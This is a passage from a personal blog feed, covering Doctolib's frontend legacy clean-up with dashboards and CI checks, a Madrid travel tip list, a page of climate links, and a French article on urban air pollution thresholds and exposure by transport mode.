&lt;p&gt;Last but not least, we recently deprecated a few React life-cycle methods and helpers, following the maintainers’ advice about unsafe methods. &lt;a href="https://reactjs.org/docs/strict-mode.html"&gt;React.StrictMode was recently introduced&lt;/a&gt; as a tool to help detect potential issues within an app. We cautiously started adding it in the codebase, to avoid having too many warnings popping up here and there while developing. Here is the list of life-cycle methods or helpers we decided to deprecate early in our codebase: &lt;em&gt;componentWillMount&lt;/em&gt;, &lt;em&gt;componentWillReceiveProps&lt;/em&gt;, &lt;em&gt;componentWillUpdate&lt;/em&gt; and &lt;em&gt;findDOMNode&lt;/em&gt;.&lt;/p&gt;
&lt;h1 id="tackling-and-killing-legacy"&gt;Tackling and killing legacy&lt;/h1&gt;
&lt;p&gt;After agreeing upon what can be defined as legacy, the time comes to actually kill it. The way frontend legacy is handled at Doctolib is always the same; we pretty much stick to &lt;a href="https://medium.com/@addyosmani/measure-optimize-monitor-33e36108e014"&gt;MOM&lt;/a&gt;: &lt;em&gt;Measure, Optimize and Monitor&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;Measuring&lt;/em&gt;&lt;/strong&gt; is done by way of our survey and our own experience while developing. While evaluating the relevance of each pain point collected, we prioritize them according to the number of times they are mentioned. We also assess the feasibility over the short-term: short and easy tasks tend to move up on the list of actions. Finally, these actions become Tech Tasks.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;Optimizing&lt;/em&gt;&lt;/strong&gt; is done progressively, after our bi-annual meetings, through special tasks we call &lt;strong&gt;Tech Tasks&lt;/strong&gt;. These tasks are differentiated from regular feature tasks by their very own nature: they are purely technical tasks whose goal is to improve platform stability, security, and performance as well as to reduce technical debt. People usually pick the ones they like best when they work on Tech Tasks (Fridays are Tech Tasks days for most feature teams). However, a few big and/or complex tasks do get assigned during our bi-annual meeting in order to make sure that they will eventually be carried out. These big tasks are prioritized by the solution architects and engineering managers on a regular basis to ensure they fit into the roadmap.&lt;/p&gt;
&lt;p&gt;Finally, &lt;strong&gt;&lt;em&gt;monitoring&lt;/em&gt;&lt;/strong&gt; is done throughout. It is a never-ending process. At the end of every meeting, we set KPIs to “track” and then we immediately create dashboards to track usage of “legacy” through these KPIs. One person is in charge of creating these graphs, usually the same person who called a meeting in the first place. Basically, this translates to metrics we expect to drop.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/regaining-control-over-doctolib-com-frontend/recompact.png" alt="Recompact monitoring graphs" /&gt;
&lt;figcaption&gt;3 out of the many graphs we use to monitor recompact usage&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;These three graphs above show the number of lines in our code base containing a deprecated function. This is how we compute these numbers:&lt;/p&gt;
&lt;script src="https://gist.github.com/rpellerin/6488f5f4bf893a8555a3261ddf2d0856.js"&gt;&lt;/script&gt;

&lt;p&gt;We also create less-specific dashboards which list the “general” legacy functions and libraries we aim at reducing or killing altogether.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/regaining-control-over-doctolib-com-frontend/general-legacy.png" alt="Other monitoring graphs" /&gt;
&lt;figcaption&gt;Everything that is considered legacy is shown on this graph&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;These graphs are a helpful starting point from which we can monitor progress.&lt;/p&gt;
&lt;h2 id="preventing-people-from-using-it"&gt;Preventing people from using it&lt;/h2&gt;
&lt;p&gt;There is a long-lasting tradition of heavily relying on static checks at Doctolib. Essentially, they are script files which we run on source code as it is — before transpilation and bundling. Our CI pipeline runs these tests first, before running any of our 8000+ end-to-end tests. Below is the one test which checks for new lines containing deprecated React methods and recompact helpers, and then reports on Pull Requests.&lt;/p&gt;
&lt;script src="https://gist.github.com/rpellerin/2521a2dd9e9a0c6cd993755441fffcea.js"&gt;&lt;/script&gt;

&lt;p&gt;In addition to relying on static checks, we also regularly inform and remind people about our best practices on the frontend stack. We usually demo state-of-the-art JavaScript once a month, during what we call “Tech Time” — a meeting for and by software engineers. It’s also a good opportunity to show how much progress is being made on reducing legacy code.&lt;/p&gt;
&lt;h2 id="meeting-objectives"&gt;Meeting objectives&lt;/h2&gt;
&lt;p&gt;Oftentimes, the long tasks tend to remain “&lt;em&gt;in progress&lt;/em&gt;” forever and people lose interest in them. This is when the people who first defined these objectives come into play. It is their responsibility to help these tasks reach a conclusion by supporting those working on it and providing a helping hand if need be.&lt;/p&gt;
&lt;p&gt;In any case, every bi-annual meeting starts off with a review of what has been achieved during the previous term and carries on from there.&lt;/p&gt;
&lt;h1 id="long-term-vision"&gt;Long-term vision&lt;/h1&gt;
&lt;p&gt;Deprecating these few React functions, recompact, a significant part of our RxJS usage, jQuery, and CoffeeScript is a major first step. By doing so we can ease new joiners’ onboarding, keep up with the latest JavaScript standards, and reduce our technical debt. It also belongs to a bigger picture. Creating these dashboards opens the door to more monitoring, which ultimately means more control. A recent concrete example is the bundle size dashboard, which we introduced a few weeks ago.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/regaining-control-over-doctolib-com-frontend/bundle-sizes.png" alt="Bundle sizes graphs" /&gt;
&lt;figcaption&gt;This dashboards tracks our bundles sizes over time&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Not only does it store the sizes over time but it also reports on Github Pull Requests. &lt;a href="https://www.npmjs.com/package/bundlesize"&gt;A handy npm package called bundlesize&lt;/a&gt; checks that every build does not exceed thresholds defined in our package.json file.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/regaining-control-over-doctolib-com-frontend/github-pr-checks.png" alt="Checks on Github pull requests" /&gt;
&lt;figcaption&gt;Checks on a Github Pull Request&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;In addition to more monitoring, we’ll keep collecting feedback on a regular basis from all of the software engineers, calling for more meetings when needed. We will specifically be paying attention to new joiners, how they feel about the frontend stack and how we can make their onboarding even easier. We don’t want to be held back by legacy code. Instead, we want to be able to experiment with new technologies when relevant, adopt the latest JavaScript standards, and keep up with React.&lt;/p&gt;
&lt;p&gt;There is still much to do on the frontend. A Single-Page-Application is much more than just a website. It’s software that runs in a browser. Hundreds of different browser versions actually, operating at various speeds, with unreliable network connectivity. It has to be as good as any software program. The time when servers were the unique focus point has come and gone; frontend requires a different kind of attention, not less.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Originally published on &lt;a href="https://medium.com/@romain.pellerin/regaining-control-over-doctolib-com-frontend-9ec8cc41037f"&gt;Medium&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;</content><category term="Code"></category><category term="code"></category><category term="javascript"></category><category term="frontend"></category></entry><entry><title>Spain</title><link href="https://romainpellerin.eu/spain.html" rel="alternate"></link><published>2019-05-08T23:50:00+02:00</published><updated>2019-05-08T23:50:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2019-05-08:/spain.html</id><summary type="html">&lt;p&gt;What I know about Spain&lt;/p&gt;</summary><content type="html">&lt;p&gt;I know very little about Spain, I only got to visit Barcelona and Madrid. Nonetheless, here's my 2 cents.&lt;/p&gt;
&lt;h1 id="barcelona"&gt;Barcelona&lt;/h1&gt;
&lt;p&gt;Beautiful touristic city. A lot of young French people go there in Summer to party. An hour up North is Lorret De Mar, a smaller city, even bigger on parties.&lt;/p&gt;
&lt;h1 id="madrid"&gt;Madrid&lt;/h1&gt;
&lt;p&gt;The capital can be visit in 4 days tops. It's a pretty city but there's not much to see, it's more about the atmosphere, the Spanish way of life, tapas, flamenco, etc. I recommend:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Walk the calle Grand Via&lt;/li&gt;
&lt;li&gt;El Retiro Park: don't miss the Palacio de Velázquez, the monument to Alfonso XII and Madrid's Oldest Tree.&lt;/li&gt;
&lt;li&gt;Nearby is the Real Jardín Botánico. Pay only 4 euros to get in (guarden only, 2 extra euros to access the exhibitions)&lt;/li&gt;
&lt;li&gt;Puerta de Alcalá&lt;/li&gt;
&lt;li&gt;Cibeles Fountain&lt;/li&gt;
&lt;li&gt;Prado museum (no photos allowed!). Everyday, the last two hours before closing are free for everybody on most days.&lt;/li&gt;
&lt;li&gt;Plaza de Santa Ana&lt;/li&gt;
&lt;li&gt;Almudena Cathedral&lt;/li&gt;
&lt;li&gt;Royal Palace of Madrid (no photos allowed in most rooms!). Again, last two hours are free most days for EU and Latin American citizens.&lt;/li&gt;
&lt;li&gt;Puerta del Sol&lt;/li&gt;
&lt;li&gt;Plaza Mayor&lt;/li&gt;
&lt;li&gt;Mercado De San Miguel&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Good to know: taxis are slightly more expensive than Uber. Average price I have seen for Uber from the airport to the city center is 25 euros, whereas I paid 30 euros for a taxi (it's also the maximum price by law).&lt;/p&gt;
&lt;p&gt;Also, I searched for hours for a comic book store that sells the latest English comics, I could not find any. I found a few that sold months old English comics though (Red Flack Comics was one of them).&lt;/p&gt;
&lt;p&gt;Last but not least, I would advise to visit Madrid in late May, as the weather is perfect, not too hot and not too cold (25 degrees on average in the afternoon), and the crowds of tourists are not there yet.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;That's it for now!&lt;/p&gt;</content><category term="Travels"></category><category term="travel"></category><category term="spain"></category><category term="madrid"></category><category term="barcelona"></category></entry><entry><title>Hope</title><link href="https://romainpellerin.eu/hope.html" rel="alternate"></link><published>2019-04-17T12:00:00+02:00</published><updated>2019-07-02T15:21:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2019-04-17:/hope.html</id><summary type="html">&lt;p&gt;Sparkles of hope&lt;/p&gt;</summary><content type="html">&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/3LvTgiWSAAE" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen&gt;&lt;/iframe&gt;

&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/wTTMMMaTaf0" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen&gt;&lt;/iframe&gt;

&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/Lw0ioljqNpo" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen&gt;&lt;/iframe&gt;

&lt;h1 id="links"&gt;Links&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.footprintcalculator.org/"&gt;Ecological Footprint Calculator&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.deepgreenresistance.fr/"&gt;Deep Green Resistance France&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://jiec.fr/"&gt;JIEC : Journalistes d'investigation sur l'écologie et le climat&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://youthforclimate.fr/"&gt;Youth For Climate&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.courrierinternational.com/article/pays-bas-amsterdam-la-mairie-devient-vegetarienne"&gt;Pays-Bas.À Amsterdam, la mairie devient végétarienne&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://standblog.org/blog/post/2019/06/30/Le-deni"&gt;Le déni&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="Miscellaneous"></category><category term="hope"></category></entry><entry><title>Pollution Urbaine</title><link href="https://romainpellerin.eu/pollution-urbaine.html" rel="alternate"></link><published>2019-03-12T23:17:00+01:00</published><updated>2022-09-24T12:11:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2019-03-12:/pollution-urbaine.html</id><summary type="html">&lt;p&gt;Divers éléments de vérité sur l'état de l'air que nous respirons, notamment à Paris&lt;/p&gt;</summary><content type="html">&lt;p&gt;Dans cet article, j'essaie de démêler le vrai du faux concernant la pollution urbaine et je m'intéresse aussi aux différents moyens de transport urbains.&lt;/p&gt;
&lt;h1 id="les-polluants"&gt;Les polluants&lt;/h1&gt;
&lt;p&gt;Commençons tout d'abord par savoir de quoi l'on parle : les polluants. Quels sont les principaux polluants qui nous affectent chaque jour en ville et surtout quels sont leurs effets sur notre santé ?&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.greenfacts.org/fr/glossaire/pqrs/polluants-primaires-et-secondaires.htm"&gt;Distinguons aussi les polluants primaires, émis directement par une source donnée, des polluants secondaires, résultant de l'interaction des polluants primaires dans l'atmosphère.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.airparif.asso.fr/"&gt;Airparif&lt;/a&gt;, qui est la référence en matière de qualité de l'air en Île-de-France, répertorie les principaux polluants dans &lt;a href="https://www.airparif.asso.fr/_pdf/tableau-polluants-origine-impacts.pdf"&gt;un PDF plutôt bien fait ici&lt;/a&gt;. Voici un aperçu de ce PDF :&lt;/p&gt;
&lt;figure class="center"&gt;
    &lt;a href="https://www.airparif.asso.fr/_pdf/tableau-polluants-origine-impacts.pdf" target="_blank"&gt;&lt;img src="https://romainpellerin.eu/images/pollution-urbaine/tableau-polluants-origine-impacts.png" alt="Tableau des principaux polluants" /&gt;&lt;/a&gt;
    &lt;figcaption&gt;Principaux polluants répertorieś par Airparis.&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Citons en quelques un, majoritairement trouvés en ville :&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Les particules fines PM10, PM2.5 et PM1&lt;/strong&gt; dont le diamètre est respectivement de &amp;lt;= 10, &amp;lt;= 2.5 et &amp;lt;=1 μm. Pour donner un ordre d'idée, &lt;a href="http://www.irceline.be/fr/qualite-de-lair/mesures/particules-fines/information"&gt;un cheveux humain fait entre 50 et 70 μm de diamètre&lt;/a&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;figure class="center"&gt;
     &lt;img src="https://romainpellerin.eu/images/pollution-urbaine/cheveux.png" alt="Comparaison particules fines et cheveux" /&gt;
     &lt;figcaption&gt;Comparaison avec un cheveu.&lt;/figcaption&gt;
   &lt;/figure&gt;

&lt;p&gt;Les PM sont émises principalement par les combustions industrielles et domestiques (chauffage par exemple) et le transport routier (&lt;a href="https://theconversation.com/pollution-de-lair-diesel-essence-ou-electrique-tous-les-vehicules-emettent-des-particules-fines-95336"&gt;essentiellement le diesel mais de plus en plus l'essence&lt;/a&gt;, surtout ceux à &lt;a href="http://www.lefigaro.fr/vox/politique/2018/12/07/31001-20181207ARTFIG00299--un-vehicule-essence-emet-autant-de-particules-fines-que-dix-vilains-diesel.php"&gt;injection directe&lt;/a&gt;). Elles sont associées à une hausse de la mortalité et sont de surcroît cancérigènes. &lt;em&gt;&lt;a href="http://sante.lefigaro.fr/actualite/2013/10/17/21407-principaux-polluants-dans-lair"&gt;Elles sont considérées comme le «polluant atmosphérique le plus nocif pour la santé humaine en Europe», par l'Agence européenne de l'environnement (AEE) qui a récemment indiqué que 90% des urbains y étaient exposés au-delà des seuils recommandés par l'Organisation mondiale de la Santé (OMS).&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Les oxydes d'azote : le monoxyde d'azote NO (polluant primaire) et dioxyde d'azote NO2 (polluant secondaire)&lt;/strong&gt;, eux aussi émis par les combustions, dont le transport routier. Le NO est relativement peu dangereux. Le N02 est irritant et aggrave les crises d'asthmes.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Le monoxyde de carbone (CO)&lt;/strong&gt;, qui lui aussi trouve sa source dans le chauffage et les gaz d'échappement des véhicules. Sa transformation en CO2 contribue à l'effet de serre. Pour l'homme, il devient dangereux à fortes teneurs (maux de têtes, vertiges, voire plus si exposition prolongée).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;L'ozone (O3)&lt;/strong&gt;, qui est un polluant secondaire créé sous l'effet du soleil, est irritant pour l'appareil respiratoire et augmente la mortalité.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Le benzène&lt;/strong&gt;, émis par le trafic routier, est nocif et cancérigène.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Le dioxyde de soufre (SO2)&lt;/strong&gt;, issu de la combustion fossile, c'est-à-dire chauffage et transport routier en partie, irrite les muqueuses, dont le système respiratoire.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Par ailleurs, &lt;a href="https://www.consoglobe.com/etudes-particules-cerveau-cg"&gt;la pollution urbaine serait liée à une forte détérioration des fonctions cognitives sur le long terme&lt;/a&gt;.&lt;/p&gt;
&lt;h1 id="ce-que-dit-la-loi"&gt;Ce que dit la loi&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://airparif.asso.fr/reglementation/normes-europeennes"&gt;À la date de rédaction de cet article (mars 2019), la législation européenne recommande de ne pas dépasser les niveaux suivants&lt;/a&gt; :&lt;/p&gt;
&lt;table width="100%" cellspacing="0" cellpadding="0" border="1"&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;th&gt;Polluants&lt;/th&gt;
&lt;th&gt;Valeurs limites&lt;/th&gt;
&lt;th&gt;Seuils d'alerte&lt;/th&gt;
&lt;th&gt;Niveaux critiques&lt;/th&gt;
&lt;/tr&gt;
&lt;!-- NO2--&gt;
&lt;tr&gt;
&lt;th&gt;Dioxyde d'azote&lt;br&gt;(NO2)&lt;/th&gt;
&lt;td&gt;&lt;strong&gt;En moyenne annuelle : &lt;/strong&gt;40&amp;nbsp;µg/m³.&lt;br&gt;&lt;br&gt;
&lt;strong&gt;En moyenne horaire :&lt;/strong&gt;&lt;br&gt;
200&amp;nbsp;µg/m³ à ne pas dépasser plus de 18&amp;nbsp;heures par an.&lt;/td&gt;
&lt;td&gt;400&amp;nbsp;µg/m³ en moyenne horaire sur 3 heures consécutives.&lt;br&gt;&lt;br&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;!-- NOx--&gt;
&lt;tr&gt;
&lt;th&gt;Oxydes&lt;br&gt;d'azote&lt;br&gt;(NOx)&lt;/th&gt;
&lt;td&gt;&lt;br&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;En moyenne annuelle &lt;/strong&gt; (équivalent NO2) :&lt;br&gt;
30&amp;nbsp;µg/m³ (protection de la végétation).&lt;/td&gt;
&lt;/tr&gt;
&lt;!-- SO2--&gt;
&lt;tr&gt;
&lt;th&gt;Dioxyde &lt;br&gt;de soufre &lt;br&gt;(SO2)&lt;/th&gt;
&lt;td width="17%"&gt;&lt;strong&gt;En moyenne journalière &lt;/strong&gt; (pour la protection de la santé humaine) : 125&amp;nbsp;µg/m³ à ne pas dépasser plus de 3&amp;nbsp;jours par an.&lt;br&gt;&lt;br&gt;
&lt;strong&gt;En moyenne horaire &lt;/strong&gt; (pour la protection de la santé humaine)&amp;nbsp;:&amp;nbsp;350&amp;nbsp;µg/m³ à ne pas dépasser plus de 24 heures par an.&lt;/td&gt;
&lt;td width="17%"&gt;500&amp;nbsp;µg/m³ en moyenne horaire sur 3 heures consécutives.&lt;br&gt;&lt;br&gt;&lt;/td&gt;
&lt;td width="17%"&gt;&lt;strong&gt;En moyenne annuelle et en moyenne hivernale &lt;/strong&gt; - du 1er octobre au 31 mars - (pour la protection de la végétation) : 20&amp;nbsp;µg/m³.&lt;br&gt;&lt;br&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;!-- PM10--&gt;
&lt;tr&gt;
&lt;th&gt;Particules fines de diamètre inférieur ou égal à 10 micromètres&lt;br&gt;(PM10)&lt;/th&gt;
&lt;td&gt;&lt;strong&gt;En moyenne annuelle :&lt;/strong&gt; 40&amp;nbsp;µg/m³.&lt;br&gt;&lt;br&gt;
&lt;strong&gt;En moyenne journalière : &lt;/strong&gt;50
&amp;nbsp;µg/m³ à ne pas dépasser plus de 35 jours par an.&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;!-- PM25--&gt;
&lt;tr class="norme-pm10"&gt;
&lt;th&gt;Particules fines de diamètre inférieur ou égal à 2,5 micromètres&lt;br&gt;(PM2,5)&lt;/th&gt;
&lt;td width="20%"&gt;&lt;strong&gt;Pour la protection de la santé :&lt;/strong&gt;&lt;br&gt;En moyenne annuelle :&lt;br&gt; 
&lt;u&gt;Phase 1&lt;/u&gt; : 25&amp;nbsp;µg/m³ depuis 01/01/15.&lt;br&gt;&lt;u&gt;Phase 2&lt;/u&gt; : 20&amp;nbsp;µg/m³ en 2020.&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;!-- CO--&gt;
&lt;tr&gt;
&lt;th&gt;Monoxyde&lt;br&gt;de carbone&lt;br&gt;(CO)&lt;/th&gt;
&lt;td&gt;&lt;strong&gt;En moyenne sur 8 heures : &lt;/strong&gt;10&amp;nbsp;000&amp;nbsp;µg/m³.&lt;br&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;!-- C6H6--&gt;
&lt;tr&gt;
&lt;th width="17%"&gt;&lt;strong&gt;Benzène&lt;br&gt;
(C6H6)&lt;/strong&gt;&lt;/th&gt;
&lt;td&gt;&lt;strong&gt;En moyenne annuelle : &lt;/strong&gt;5&amp;nbsp;µg/m³.&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="norme-o3"&gt;
&lt;th&gt;Ozone&lt;br&gt;(O3)&lt;/th&gt;
&lt;td width="20%"&gt;&lt;strong&gt;Pour la protection de la santé :&amp;nbsp;&lt;/strong&gt;&lt;br&gt;En moyenne sur 8&amp;nbsp;heures : 120&amp;nbsp;µg/m³, à ne pas dépasser plus de 25&amp;nbsp;jours par an (moyenne calculée sur 3&amp;nbsp;ans).&lt;br&gt;&lt;br&gt;&lt;strong&gt;Pour la protection de la végétation : &lt;/strong&gt;AOT 40 de mai à juillet de 8h à 20h : 18&amp;nbsp;000&amp;nbsp;µg/m³.h (moyenne calculée sur 5&amp;nbsp;ans).&lt;/td&gt;
&lt;td width="20%"&gt;&lt;strong&gt;Seuil d'information en moyenne horaire :&lt;/strong&gt; 180&amp;nbsp;µg/m³.&lt;br&gt;&lt;br&gt;&lt;strong&gt;Seuil d'alerte : &lt;/strong&gt;240&amp;nbsp;µg/m³ en moyenne horaire.&lt;br&gt;&lt;br&gt;&lt;strong&gt;Actions à court terme obligatoires&amp;nbsp;: &lt;/strong&gt;240&amp;nbsp;µg/m³ pendant 3&amp;nbsp;heures consécutives.&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://airparif.asso.fr/reglementation/normes-francaises"&gt;La France a adopté ces seuils européens pour sa propre réglementation&lt;/a&gt;. Le seuil d'information pour les particules fines est fixé à 50 µg/m³ en moyenne journalière. Cela signifie qu'à partir de 50 µg/m³, il y a un risque avéré pour la santé humaine. À partir de 80 µg/m³, le seuil d'alerte français est franchi. Il s'agit là d'un seuil ayant de fortes conséquences sur la santé et/ou l'environnement.&lt;/p&gt;
&lt;p&gt;La France et l'Europe fixent la valeur limite concernant les PM2.5 et inférieur à 25 µg/m³ en moyenne annuelle. Cette valeur limite vise à prévenir ou réduire les effets nocifs sur la santé humaine.&lt;/p&gt;
&lt;p&gt;Sur le plan mondial, &lt;a href="http://airparif.asso.fr/reglementation/recommandations-oms"&gt;l'OMS recommande sensiblement les mêmes seuils à ne pas dépasser, avec toutefois des seuils plus strictes&lt;/a&gt; :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;PM10 : 50 µg/m³ à ne pas dépasser plus de 3 jours par an, 20 à ne pas dépasser en moyenne annuelle&lt;/li&gt;
&lt;li&gt;PM2.5 : 25 µg/m³ à ne pas dépasser plus de 3 jours par an, 10 à ne pas dépasser en moyenne annuelle&lt;/li&gt;
&lt;li&gt;Ozone (O3) : 100 µg/m³ à ne pas dépasser sur une durée de 8 heures&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href="https://apps.who.int/iris/bitstream/handle/10665/69477/WHO_SDE_PHE_OEH_06.02_eng.pdf;jsessionid=4901648722D8771E0F501AE6B9A32412?sequence=1"&gt;Plus d'informations sur les recommandations de l'OMS ici&lt;/a&gt;.&lt;/p&gt;
&lt;h1 id="cartes-de-letat-de-lair"&gt;Cartes de l'état de l'air&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.airparif.asso.fr/"&gt;À Paris : Airparif&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www2.prevair.org/"&gt;En France : Prev'air&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://aqicn.org"&gt;Mondial : AQICN&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="comparaison-avec-les-autres-moyens-de-transport"&gt;Comparaison avec les autres moyens de transport&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://www.atmo-occitanie.org/sites/default/files/imports/pdf/exposition_qualite_air_5_Oramip.pdf"&gt;Une enquête menée à Toulouse entre 2008 et 2009&lt;/a&gt; affirme que la voiture est de loin le pire moyen de transport puisque l'habitacle crée un espace fermé où l'air est très peu renouvelé, air qui est d'ailleurs très pollué puisque venant directement de l'extérieur, où la pollution est la plus forte, sur la chaussée. En deuxième vient le bus pour les mêmes raisons. Ensuite, viennent en troisième et quatrième positions le vélo et le bus, respectivement, en considérant 5 polluants. &lt;strong&gt;En revanche, l'étude souligne que les mesures du nombre de particules fines (PM10) montrent que l'air du métro est bien plus pollué que celui respiré par un cycliste : au moins 2 à 3 fois plus de particules fines dans le métro.&lt;/strong&gt; &lt;a href="http://www.oramip.org/pdf/expo/Plaquette-Oramip-transport.pdf"&gt;Un autre document PDF&lt;/a&gt; donne le détail des mesures effectuées.&lt;/p&gt;
&lt;figure class="center"&gt;
    &lt;img src="https://romainpellerin.eu/images/pollution-urbaine/etude-toulouse.png" alt="Comparaison des moyens de transport" /&gt;&lt;/a&gt;
    &lt;figcaption&gt;Résultats de l'étude&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;&lt;a href="http://www.airparif.asso.fr/_pdf/publications/NUMERO32.pdf"&gt;Une étude similaire d'Airparif en 2008&lt;/a&gt; confirme les résultats de l'étude ci-dessus. Cette étude se focalisait sur les cyclistes. Ceux-ci sont le plus exposés lorsqu'ils circulent dans le flux de circulation, parmi les voitures. Dès lors que le cycliste circule sur une piste cyclable, il est bien moins exposé que l'automobiliste. Le cycliste est aussi soumis à des "bouffées" de pollutions (des pics soudains) mais qui ne durent pas, selon les véhicules suivis souvent. À l'inverse, les pics sont moins soudains pour les automobilistes mais ont tendance à durer, du fait du faible renouvellement de l'air dans l'habitacle. Les pistes cyclables sont à privilégier aux voies de bus, elles-mêmes à privilégier à la route partagée avec tous les véhicules. L'étude finit par un conseil général aux cyclistes : il faut éviter l'hyperventilation (pour ne pas inhaler trop de polluants) et se maintenir le plus éloigné possible de la circulation. Les bénéfices de l'activité sportive que représente le vélo restent bien supérieurs aux effets néfastes de la pollution Il est aussi conseillé d'inspirer par le nez (qui fait office de filtre) et d'expirer par la bouche.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.terraeco.net/Velib-gratuits-a-Paris-pollution,54222.html"&gt;Cet article de Terraeco&lt;/a&gt;, basé sur l'étude à Toulouse, offre la même conclusion que l'étude d'Airparif.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.lemonde.fr/planete/article/2014/03/13/auto-metro-ou-velo-ou-respire-t-on-le-moins-d-air-pollue_4382697_3244.html"&gt;Cet article du Monde&lt;/a&gt; et &lt;a href="https://www.liberation.fr/chroniques/2015/07/03/faut-il-eviter-le-velo-pendant-les-pics-de-pollution_1342312"&gt;celui-ci de Libération&lt;/a&gt; résument les 2 études ci-dessus. Libération insiste sur les effets bénéfiques d'une activité sportive, bien supérieurs aux effets négatifs de la pollution, tout comme le fait &lt;a href="https://www.lexpress.fr/actualite/societe/environnement/faire-du-velo-en-periode-de-pollution-il-faut-moderer-son-allure_1858072.html"&gt;l'Express dans cet autre article&lt;/a&gt;. Sur le même sujet "bénéfices vs risques", on peut citer ces trois autres pages :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://data.blog.lemonde.fr/2016/06/08/pollution-air-villes-deplacement-velo/"&gt;http://data.blog.lemonde.fr/2016/06/08/pollution-air-villes-deplacement-velo/&lt;/a&gt;: "&lt;em&gt;À Paris, il vous faudra 8 heures de vélo dans la journée pour y&lt;/em&gt; [rouler assez longtemps à vélo avant que les effets bénéfiques soient « compensés » par la pollution] &lt;em&gt;parvenir dans une journée normale, mais seulement 45 minutes les jours de pic de pollution à 75 μg/m3 de PM 2,5.&lt;/em&gt;"&lt;/li&gt;
&lt;li&gt;&lt;a href="http://transports.blog.lemonde.fr/2012/09/17/ne-pas-faire-de-velo-cest-dangereux-pour-la-sante/"&gt;http://transports.blog.lemonde.fr/2012/09/17/ne-pas-faire-de-velo-cest-dangereux-pour-la-sante/&lt;/a&gt;&lt;/li&gt;
